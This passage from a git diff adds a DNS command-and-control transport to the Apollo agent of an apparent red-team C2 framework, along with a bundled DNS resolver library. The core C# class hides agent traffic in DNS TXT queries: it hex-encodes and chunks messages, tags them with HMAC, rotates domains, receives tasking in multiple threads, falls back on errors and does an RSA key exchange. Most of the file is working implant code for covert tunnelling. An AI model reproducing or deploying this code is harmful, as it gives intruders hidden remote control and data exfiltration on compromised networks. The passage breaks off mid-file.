= random.Next(domains.Count); + return domains[index]; + } + + public Dictionary parse_message(string message) + { + + string[] fields = message.Split('.'); + Dictionary dFields = new Dictionary(); + dFields["tsid"] = fields[0]; + dFields["bit_flip"] = fields[1]; + dFields["data"] = fields[2]; + return dFields; + } + + public bool send_reset_request() + { + + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", this.init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + string message = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + set_error(); + result = ""; + + return false; + } + + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + this.dns_msg.Clear(); + reset_error_count(); + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { + result = ""; + return false; + } + } + + public void reset_cycle() + { + this.dns_msg.Clear(); + this.message_count = 0; + while (true) + { + check_fallback(); + if (send_reset_request() == true) + { + break; + } + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + + } + + public void send_init_request() + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + this.cache_code = random_message; + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", init_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + string message = InitializationMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + get_random_domain_query(); + string result = ""; + try + { + result = dnsRip.Resolve(message, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = ""; + } + try + { + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (channel != this.channel) + { + this.channel = channel; + + } + + this.is_init = true; + this.bit_flip = this.agent_turn; + this.next_seq = seq; + this.init_seq = seq; + } + } + catch (Exception ex) + { + result = ""; + } + } + + + public int get_maximum_size_dns(string prefix, string domain) + { + return (255 - prefix.Length - domain.Length - 32 - 8); + } + + public List SplitByLength(string str, int maxLength) + { + List parts = new List(); + for (int index = 0; index < str.Length; index += maxLength) + { + parts.Add(str.Substring(index, Math.Min(maxLength, str.Length - index))); + } + return parts; + } + + + public void setup_message_list(string message, string domain, bool is_cache) + { + int index = 0; + IEnumerable dns_msg_arr; + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + int maximum_size_messages = 63; + if (is_cache == false) + { + byte[] ba_str = Encoding.Default.GetBytes(message); + var hexString = BitConverter.ToString(ba_str); + hexString = hexString.Replace("-", ""); + dns_msg_arr = this.SplitByLength(hexString, maximum_size_messages); + foreach (var msg_chunk in dns_msg_arr) + { + this.dns_msg[index] = msg_chunk; + index = index + 1; + } + } + else + { + dns_msg_arr = this.SplitByLength(message, maximum_size_messages); + this.dns_msg[index] = message; + } + index = 0; + this.end_seq = this.next_seq + this.dns_msg.Count - 1; + this.bit_flip = this.agent_turn; + } + + public void add_packet(int seq, string packet) + { + lock (lockerDnsMsg) + { + + int packet_pos = seq - this.init_seq; + this.dns_msg[packet_pos] = packet; + if (this.dns_msg.Count == this.message_count) + { + this.bit_flip = this.reset_turn; + } + } + } + + //send dns query using thread + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + public void dnsquery(int seq, string domain, bool is_cache) + { + string result = ""; + try + { + string message = ""; + if (this.bit_flip == this.agent_turn) + { + if (this.dns_msg.ContainsKey(seq - this.init_seq) && is_cache == false) + { + message = this.dns_msg[seq - this.init_seq]; + } + else + { + if (is_cache == true) + { + message = this.dns_msg[0]; + } + } + } + else + { + int maximum_size_messages = 63; + message = GenerateUniqueHexString(maximum_size_messages); + } + try + { + string hex_channel = String.Format("{0:X2}", this.channel); + string hex_seq = String.Format("{0:X6}", seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + message + "." + hmac_section + "." + domain; + result = ""; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + result = null; + } + if (!string.IsNullOrEmpty(result)) + { + + try + { + Dictionary dFields = parse_message(result); + int resp_bit_flip = Int32.Parse(dFields["bit_flip"]); + if (resp_bit_flip == this.message_count_turn) + { + this.bit_flip = this.message_count_turn; + return; + } + if (resp_bit_flip == this.agent_turn || resp_bit_flip == this.server_turn) + { + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + if (this.bit_flip == this.agent_turn) + { + if (this.next_seq < seq_resp) + { + this.next_seq = seq_resp - 1; + } + if (seq_resp > this.end_seq) + { + this.bit_flip = this.message_count_turn; + } + if (is_cache == true) + { + this.bit_flip = this.message_count_turn; + this.next_seq = this.end_seq; + } + } + else + { + if (Int32.Parse(dFields["bit_flip"]) == 2) + { + if (dFields.ContainsKey("data") && !string.IsNullOrEmpty(dFields["data"])) + { + try + { + add_packet(seq_resp, dFields["data"]); + } + catch (Exception ex) + { + this.bit_flip = this.reset_turn; + } + } + } + } + } + if (Int32.Parse(dFields["bit_flip"]) == 4) + { + this.bit_flip = this.reset_turn; + } + reset_error_count(); + } + catch (Exception ex) + { + result = ""; + } + } + else + { + set_error(); + } + } + catch (Exception ex) + { + } + } + + public void setup_thread_reqs(int seq, string domain, bool is_cache) + { + if (this.bit_flip == this.agent_turn) + { + if (is_cache == true) + { + dnsquery(seq, domain, is_cache); + } + else + { + for (int i = 0; i < this.max_threads_conn && seq + i <= this.end_seq && this.bit_flip == this.agent_turn; i++) + { + check_fallback(); + Thread dnsthread = new Thread(() => dnsquery(seq + i, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + } + else + { + try + { + for (int i = 0; i < this.next_msg_queue.Length && i < this.message_count && i < this.max_threads_conn && this.bit_flip == this.server_turn; i++) + { + check_fallback(); + int new_start = seq + this.next_msg_queue[i]; + Thread dnsthread = new Thread(() => dnsquery(new_start, domain, is_cache)); + dnsthread.Start(); + threads_msg[i] = dnsthread; + } + for (int i = 0; i < max_threads_conn; i++) + { + threads_msg[i].Join(); + } + } + catch (Exception ex) + {} + } + } + + public void send_dns_data(string domain, bool is_cache) + { + while (this.bit_flip == this.agent_turn) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + int starting_point = this.next_seq; + setup_thread_reqs(starting_point, domain, is_cache); + } + } + public string GenerateUniqueHexString(int length) + { + string StringChars = "0123456789abcdef"; + Random rand = new Random(); + var charList = StringChars.ToArray(); + string hexString = ""; + + for (int i = 0; i < length; i++) + { + int randIndex = rand.Next(0, charList.Length); + hexString += charList[randIndex]; + } + + return hexString; + } + + public void set_message_count(string domain) + { + while (this.bit_flip == this.message_count_turn) + { + check_fallback(); + //int maximum_size_messages = get_maximum_size_dns(sDefaultMessagePrefix, domain); + string result = ""; + try + { + int maximum_size_messages = 63; + string random_message = GenerateUniqueHexString(maximum_size_messages); + + string hex_channel = String.Format("{0:X2}", channel); + string hex_seq = String.Format("{0:X6}", this.next_seq); + + var tsid = hex_channel + this.bit_flip + hex_seq; + var data = Encoding.UTF8.GetBytes(tsid + random_message); + var key = Encoding.UTF8.GetBytes(HmacKey); + var hmac = new HMACMD5(key); + var hashBytes = hmac.ComputeHash(data); + string hmac_section = System.BitConverter.ToString(hashBytes).Replace("-", "").ToLower(); + + string data_query = DefaultMessagePrefix + "." + tsid + "." + random_message + "." + hmac_section + "." + domain; + + result = dnsRip.Resolve(data_query, DnsRip.QueryType.TXT).First().Record.Replace("\"", ""); + } + catch (Exception ex) + { + } + //setup next x threads ( x = max_threads_conn) + // + if (!string.IsNullOrEmpty(result)) + { + Dictionary dFields = parse_message(result); + int channel = int.Parse(dFields["tsid"].Substring(0, 2), System.Globalization.NumberStyles.HexNumber); + int seq_resp = int.Parse(dFields["tsid"].Substring(2, 6), System.Globalization.NumberStyles.HexNumber); + + this.init_seq = seq_resp; + this.next_seq = 0; + this.message_count = int.Parse(dFields["data"], System.Globalization.NumberStyles.HexNumber); + this.bit_flip = this.server_turn; + this.end_seq = seq_resp + this.message_count; + this.dns_msg.Clear(); + reset_error_count(); + } + else + { + set_error(); + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + } + } + } + + public void message_organizer() + { + //while (this.bit_flip == this.server_turn) + //{ + //keep walking in the packets dictionary + //until there is a gap + //fill the next msg queue with the gap considering the maximum count of threads + while (this.dns_msg.ContainsKey(this.next_seq) && this.next_seq < this.message_count) + { + this.next_seq = this.next_seq + 1; + } + + for (int i = 0; i < max_threads_conn && this.bit_flip == this.server_turn; i++) + { + if ((this.next_seq + i) < this.message_count) + { + this.next_msg_queue[i] = this.next_seq + i; + } + else + { + this.next_msg_queue[i] = this.next_seq; + } + + } + //} + } + + public void init_next_msg_queue() + { + for (int i = 0; i < next_msg_queue.Length; i++) + { + next_msg_queue[i] = i; + } + } + + public string get_dns_data(string domain, bool is_cache) + { + this.bit_flip = this.server_turn; + init_next_msg_queue(); + int starting_point = this.init_seq; + while (this.bit_flip == this.server_turn) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + throw new Exception("Fallback"); + } + if (this.error_count_p1 >= this.MAX_ERROR_TOLERANCE_1) + { + set_fallback(); + } + try + { + setup_thread_reqs(starting_point, domain, is_cache); + } + catch (Exception ex) + { + } + message_organizer(); + } + return build_message(); + } + + public static string HextoString(string InputText) + { + + byte[] bb = Enumerable.Range(0, InputText.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(InputText.Substring(x, 2), 16)) + .ToArray(); + return System.Text.Encoding.ASCII.GetString(bb); + } + + public string build_message() + { + string full_msg = ""; + for (int i = 0; i < this.message_count; i++) + { + full_msg = full_msg + this.dns_msg[i]; + } + if (full_msg == this.cache_code) + { + return full_msg; + } + full_msg = HextoString(full_msg); + return full_msg; + } + + + public void Start() + { + bool first = true; + while (Agent.IsAlive()) + { + bool bRet = GetTasking(delegate (MessageResponse resp) + { + return Agent.GetTaskManager().ProcessMessageResponse(resp); + }); + + if (!bRet) + { + break; + } + + Agent.Sleep(); + } + } + + private bool GetTasking(OnResponse onResp) + { + return Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage msg) + { + return SendRecv(msg, onResp); + }); + } + + public bool IsOneWay() + { + return false; + } + + public bool Send(T message) + { + throw new Exception("DnsProfile does not support Send only."); + } + + public bool Recv(OnResponse onResponse) + { + throw new Exception("DnsProfile does not support Recv only."); + } + + public bool Recv(MessageType mt, OnResponse onResp) + { + throw new NotImplementedException("DnsProfile does not support Recv only."); + } + + public bool CompareMessages(T message, TaskingMessage previous_message) + { + try + { + + TaskingMessage new_message = (TaskingMessage)(object)message; + if (new_message.GetTypeCode() != MessageType.TaskingMessage) + { + return false; + } + if (previous_message.Equals(message)) + { + return true; + } + else + { + return false; + } + } + catch (Exception ex) + { } + return false; + } + + + public bool SendRecv(T message, OnResponse onResponse) + { + string sMsg = ""; + string payload = ""; + bool is_cache = false; + string auxMsg = aux_serial.Serialize(message); + if (auxMsg == this.cached_message_client) + { + is_cache = true; + sMsg = this.cache_code; + } + else + { + this.cached_message_client = auxMsg; + sMsg = Serializer.Serialize(message); + } + string result; + int busyCount = 0; + string domain = get_random_domain_query(); + setup_message_list(sMsg, domain, is_cache); + int count = 0; + while (true) + { + try + { + send_dns_data(domain, is_cache); + set_message_count(domain); + string enc_message = get_dns_data(domain, is_cache);//sent dns data, start receiving response + if (enc_message == this.cache_code) + { + result = this.cached_message_server; + } + else + { + result = enc_message; + this.cached_message_server = result; + onResponse(Serializer.Deserialize(result)); + } + + reset_cycle(); + break; + } + + catch (Exception ex) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + reset_init_all(); + } + return false; + } + } + //DebugWriteLine("Releasing egress mutex handle..."); + count = count + 1; + return true; + } + + // Only really used for bind servers so this returns empty + public bool Connect() + { + return true; + } + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + if (EncryptedExchangeCheck && !_uuidNegotiated) + { + var rsa = Agent.GetApi().NewRSAKeyPair(4096); + + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = rsa.ExportPublicKey(), + SessionID = rsa.SessionId + }; + + if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake) + { + byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + return true; + })) + { + return false; + } + } + string msg = Serializer.Serialize(checkinMsg); + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + if (!_uuidNegotiated) + { + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + _uuidNegotiated = true; + } + return onResp(mResp); + }); + } + + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj new file mode 100644 index 00000000..83018cec --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj @@ -0,0 +1,84 @@ + + + + + Debug + AnyCPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E} + Library + DnsProfile + DnsProfile + v4.0 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {5b5bd587-7dca-4306-b1c3-83a70d755f37} + ApolloInterop + + + + \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs new file mode 100644 index 00000000..b50f261e --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs @@ -0,0 +1,24 @@ +// ReSharper disable InconsistentNaming + +namespace DnsRip +{ + public enum InputType + { + Ip, + Hostname, + Invalid + } + + public enum QueryType + { + A = 1, + AAAA = 28, + CNAME = 5, + NS = 2, + MX = 15, + SOA = 6, + TXT = 16, + PTR = 12, + ANY = 255 + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs new file mode 100644 index 00000000..67607d2f --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs @@ -0,0 +1,79 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Text; + +namespace DnsRip.Extensions +{ + internal static class Extensions + { + internal static IEnumerable ToNetByteOrder(this ushort value) + { + return BitConverter.GetBytes(IPAddress.HostToNetworkOrder((short)value)); + } + + internal static IEnumerable ToNetByteOrder(this QueryType value) + { + return ((ushort)value).ToNetByteOrder(); + } + + internal static IEnumerable ToNetByteOrder(this int value) + { + return ((ushort)value).ToNetByteOrder(); + } + + internal static string ToNameFormat(this string query) + { + if (!query.EndsWith(".")) + query += "."; + + return query; + } + + internal static string FromNameFormat(this string query) + { + if (query.EndsWith(".")) + query = query.TrimEnd('.'); + + return query; + } + + internal static string ToArpaRequest(this string query) + { + IPAddress ip; + + if (!IPAddress.TryParse(query, out ip)) + return query; + + var result = new StringBuilder(); + + switch (ip.AddressFamily) + { + case AddressFamily.InterNetwork: + { + result.Append("in-addr.arpa."); + + foreach (var b in ip.GetAddressBytes()) + result.Insert(0, $"{b}."); + + return result.ToString(); + } + case AddressFamily.InterNetworkV6: + { + result.Append("ip6.arpa."); + + foreach (var b in ip.GetAddressBytes()) + { + result.Insert(0, $"{(b >> 4) & 0xf:x}."); + result.Insert(0, $"{(b >> 0) & 0xf:x}."); + } + + return result.ToString(); + } + } + + return query; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs new file mode 100644 index 00000000..7e634478 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs @@ -0,0 +1,95 @@ +using DnsRip.Extensions; +using DnsRip.Utilites; +using System; +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsHeader + { + public DnsHeader() + { + _id = (ushort)new Random().Next(); + + OpCode = 0; + QdCount = 1; + Recursive = true; + } + + public DnsHeader(RecordHelper helper) + { + _id = helper.ReadUInt16(); + _flags = helper.ReadUInt16(); + + QdCount = helper.ReadUInt16(); + AnCount = helper.ReadUInt16(); + NsCount = helper.ReadUInt16(); + ArCount = helper.ReadUInt16(); + } + + public ushort QdCount; + public ushort AnCount; + public ushort NsCount; + public ushort ArCount; + + public int OpCode + { + get { return GetBits(_flags, 11, 4); } + set { _flags = SetBits(_flags, 11, 4, (ushort)value); } + } + + public bool Recursive + { + get { return GetBits(_flags, 8, 1) == 1; } + set { _flags = SetBits(_flags, 8, 1, value); } + } + + public byte[] Data + { + get + { + var data = new List(); + + data.AddRange(_id.ToNetByteOrder()); + data.AddRange(_flags.ToNetByteOrder()); + data.AddRange(QdCount.ToNetByteOrder()); + data.AddRange(AnCount.ToNetByteOrder()); + data.AddRange(NsCount.ToNetByteOrder()); + data.AddRange(ArCount.ToNetByteOrder()); + + return data.ToArray(); + } + } + + private readonly ushort _id; + private ushort _flags; + + private static ushort GetBits(ushort oldValue, int position, int length) + { + if (length <= 0 || position >= 16) + return 0; + + var mask = (2 << (length - 1)) - 1; + + return (ushort)((oldValue >> position) & mask); + } + + private static ushort SetBits(ushort oldValue, int position, int length, ushort newValue) + { + if (length <= 0 || position >= 16) + return oldValue; + + var mask = (2 << (length - 1)) - 1; + + oldValue &= (ushort)~(mask << position); + oldValue |= (ushort)((newValue & mask) << position); + + return oldValue; + } + + private static ushort SetBits(ushort oldValue, int position, int length, bool blnValue) + { + return SetBits(oldValue, position, length, blnValue ? (ushort)1 : (ushort)0); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs new file mode 100644 index 00000000..fa4d4264 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs @@ -0,0 +1,83 @@ +using DnsRip.Extensions; +using DnsRip.Utilites; +using System.Collections.Generic; +using System.Text; + +namespace DnsRip.Models +{ + public class DnsQuestion + { + public DnsQuestion(string query, QueryType type) + { + Query = query; + + _type = type; + _class = 1; + } + + public DnsQuestion(RecordHelper helper) + { + Query = helper.ReadDomainName(); + + _type = (QueryType)helper.ReadUInt16(); + _class = helper.ReadUInt16(); + } + + public byte[] Data + { + get + { + var data = new List(); + + data.AddRange(QueryToBytes()); + data.AddRange(_type.ToNetByteOrder()); + data.AddRange(_class.ToNetByteOrder()); + + return data.ToArray(); + } + } + + private string Query + { + get { return _query; } + set { _query = value.ToNameFormat(); } + } + + private string _query; + private readonly QueryType _type; + private readonly int _class; + + private IEnumerable QueryToBytes() + { + var query = Query.ToNameFormat(); + + if (query == ".") + return new byte[1]; + + var sb = new StringBuilder(); + int i, j, len = query.Length; + + sb.Append('\0'); + + for (i = 0, j = 0; i < len; i++, j++) + { + sb.Append(query[i]); + + if (query[i] != '.') + continue; + + sb[i - j] = (char)(j & 0xff); + j = -1; + } + + sb[sb.Length - 1] = '\0'; + + return Encoding.ASCII.GetBytes(sb.ToString()); + } + + public override string ToString() + { + return $"{Query,-32}\t{_class}\t{_type}"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs new file mode 100644 index 00000000..852747cb --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsRequest + { + public DnsRequest(DnsHeader header, DnsQuestion question) + { + _header = header; + _question = question; + } + + private readonly DnsHeader _header; + private readonly DnsQuestion _question; + + public byte[] Data + { + get + { + var data = new List(); + data.AddRange(_header.Data); + data.AddRange(_question.Data); + return data.ToArray(); + } + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs new file mode 100644 index 00000000..25bcce8d --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsResponse.cs @@ -0,0 +1,44 @@ +using DnsRip.Utilites; +using System.Collections.Generic; + +namespace DnsRip.Models +{ + public class DnsResponse + { + public DnsResponse(byte[] data) + { + var record = new RecordHelper(data); + var header = new DnsHeader(record); + + Questions = new List(); + Answers = new List(); + Authorities = new List(); + Additionals = new List(); + + for (var intI = 0; intI < header.QdCount; intI++) + { + Questions.Add(new DnsQuestion(record)); + } + + for (var intI = 0; intI < header.AnCount; intI++) + { + Answers.Add(new AnswerReader(record)); + } + + for (var intI = 0; intI < header.NsCount; intI++) + { + Authorities.Add(new AuthorityReader(record)); + } + + for (var intI = 0; intI < header.ArCount; intI++) + { + Additionals.Add(new AdditionalReader(record)); + } + } + + public List Questions; + public List Answers; + public List Authorities; + public List Additionals; + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs new file mode 100644 index 00000000..2cdcde02 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ParseResult.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Models +{ + public class ParseResult + { + public string Input { get; set; } + public string Evaluated { get; set; } + public string Parsed { get; set; } + public InputType Type { get; set; } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs new file mode 100644 index 00000000..8671aa1b --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/Record.cs @@ -0,0 +1,6 @@ +namespace DnsRip.Models +{ + public abstract class Record + { + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs new file mode 100644 index 00000000..1e57b15c --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordA.cs @@ -0,0 +1,20 @@ +using DnsRip.Utilites; +using System.Net; + +namespace DnsRip.Models +{ + public class RecordA : Record + { + public RecordA(RecordHelper helper) + { + _value = new IPAddress(helper.ReadBytes(4)); + } + + private readonly IPAddress _value; + + public override string ToString() + { + return _value.ToString(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs new file mode 100644 index 00000000..776d932c --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordAaaa.cs @@ -0,0 +1,29 @@ +using DnsRip.Utilites; +using System.Net; + +namespace DnsRip.Models +{ + public class RecordAaaa : Record + { + public RecordAaaa(RecordHelper helper) + { + IPAddress.TryParse( + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}:" + + $"{helper.ReadUInt16():x}", + out _value); + } + + private readonly IPAddress _value; + + public override string ToString() + { + return _value.ToString(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs new file mode 100644 index 00000000..2b5bfe12 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordCName.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordCName : Record + { + public RecordCName(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs new file mode 100644 index 00000000..81a8a662 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordMx.cs @@ -0,0 +1,21 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordMx : Record + { + public RecordMx(RecordHelper helper) + { + _preference = helper.ReadUInt16(); + _exchange = helper.ReadDomainName(); + } + + private readonly ushort _preference; + private readonly string _exchange; + + public override string ToString() + { + return $"{_preference} {_exchange}"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs new file mode 100644 index 00000000..f0bdf028 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordNs.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordNs : Record + { + public RecordNs(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs new file mode 100644 index 00000000..ff116665 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordPtr.cs @@ -0,0 +1,19 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordPtr : Record + { + public RecordPtr(RecordHelper helper) + { + _value = helper.ReadDomainName(); + } + + private readonly string _value; + + public override string ToString() + { + return _value; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs new file mode 100644 index 00000000..c1fec1e1 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordSoa.cs @@ -0,0 +1,31 @@ +using DnsRip.Utilites; + +namespace DnsRip.Models +{ + public class RecordSoa : Record + { + public RecordSoa(RecordHelper helper) + { + _mName = helper.ReadDomainName(); + _rName = helper.ReadDomainName(); + _serial = helper.ReadUInt32(); + _refresh = helper.ReadUInt32(); + _retry = helper.ReadUInt32(); + _expire = helper.ReadUInt32(); + _minimum = helper.ReadUInt32(); + } + + private readonly string _mName; + private readonly string _rName; + private readonly uint _serial; + private readonly uint _refresh; + private readonly uint _retry; + private readonly uint _expire; + private readonly uint _minimum; + + public override string ToString() + { + return $"{_mName} {_rName} {_serial} {_refresh} {_retry} {_expire} {_minimum}"; + } + } +} \ No newline at 